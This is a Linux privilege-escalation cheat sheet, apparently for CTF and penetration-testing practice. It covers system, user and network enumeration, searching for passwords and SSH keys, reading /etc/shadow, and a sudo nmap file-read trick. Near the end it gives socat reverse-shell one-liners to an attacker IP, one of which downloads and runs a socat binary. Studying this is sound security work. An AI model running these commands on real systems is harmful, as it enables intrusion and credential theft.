Privilege Escalation
System Enumeration
hostnamewill return the hostname of the target machineuname -aWill print system informationcat /proc/versionprovides information about the target system processescat /etc/issuecontains some information about the operating system but can be changedpssee the running processesps -AView all running processesps axjfView process treeps auxThe aux option will show processes for all users (a), display the user that launched the process (u), and show processes that are not attached to a terminal (x).ps aux | grep root
envwill show environmental variableslscpugives info about the architecturels -la /etc/cron.daily/check daily cronjobscat /etc/crontabcheck the crontablsblkcheck for file system and additional drives
PSPY
PSPY is a tool to look for running processes
We can get it here
And then we just need to launch it
./pspy64 -pf -i 1000The -pf flag tells the tool to print commands and file system events and -i 1000 tells it to scan profcs every 1000ms (or every second).
User enumeration
whoamigives usernameìdgeneral overview of the user’s privilege level and group membershipscat /etc/passwdlist of users on the systemcat /etc/passwd | grep home | cut -d ":" -f 1this should return only users (and no service accounts)
cat /etc/shadowhash store filecat /etc/groupshistorywill show previous commandssudo -lwhat can we run as sudo. Examplesudo -l Matching Defaults entries for cerealkiller on ip-172-31-63-238: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User cerealkiller may run the following commands on ip-172-31-63-238: (phantom) NOPASSWD: ALL (vimuser) NOPASSWD: /usr/bin/vim (nmapuser) NOPASSWD: /usr/bin/nmapsudo -u phantom cat /home/phantom/flag.txtexecute a command with another userfind / -path /proc -prune -o -type d -perm -o+w 2>/dev/nullFind writable directoriesfind / -path /proc -prune -o -type f -perm -o+w 2>/dev/nullFind writable files
Network Enumeration
ifconfiginformation about the network interfaces of the systemip add(similar to ifconfig)ip routeshow network routesarp -aorip neighnetstatgather information on existing connectionsnetstat -ashows all listening ports and established connections.netstat -atornetstat -aucan also be used to list TCP or UDP protocols respectively.netstat -llist ports in “listening” mode. These ports are open and ready to accept incoming connections. This can be used with the “t” option to list only ports that are listening using the TCP protocol (below)netstat -slist network usage statistics by protocol (below) This can also be used with the-tor-uoptions to limit the output to a specific protocol.netstat -ltplist connections with the service name and PID information and listening ports.netstat -iShows interface statistics.netstat -ano-aDisplay all sockets,-nDo not resolve names,-oDisplay timers
Password Hunting
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/nullwe can also search for "PASSWORD=" to narrow the searchWe can also hunt down SSH keys
find / -name authorized_keys 2> /dev/nullorfind / -name id_rsa 2> /dev/null
Misc CTF tricks
Read file with nmap
Being creative with nmap if we do not have rights to read a specific file
sudo -u nmapuser nmap -iL flag.txt 127.0.0.1 Starting Nmap 7.60 ( https://nmap.org ) at 2020-06-21 02:54 UTC Failed to resolve "HF-B2C56B421F6229316B00A973586AAAD1". WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 0.04 seconds
Upgrade a reverse shell to a fully TTY interactive shell
Sometimes we will get a shell but it won't be very convenient. There are some ways to upgrade your shells to interactive TTY reverse shell
This article on ropnop blog shows multiple ways to do so.
python -c 'import pty; pty.spawn("/bin/bash")'if you want a quick dirty little fix but not completely interactive this python command works well for python3 it is the same but like thispython3 -c 'import pty; pty.spawn("/bin/bash")'With socat
socat file:tty,raw,echo=0 tcp-listen:4444on your kalisocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444from the victime machineIf socat is not installed see here for static binaries
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444ORwget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socatin your kali then put on your python3 webserver and thenwget -q http://YOUR-KALI-IP/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:YOUR-KALI-IP:4444
Automated Tools
We can run one tool and if we do not see anything try another one
The color code is very useful we definitely have to investingate things in red and yellow or just in red
Checklist
Resources
Last updated


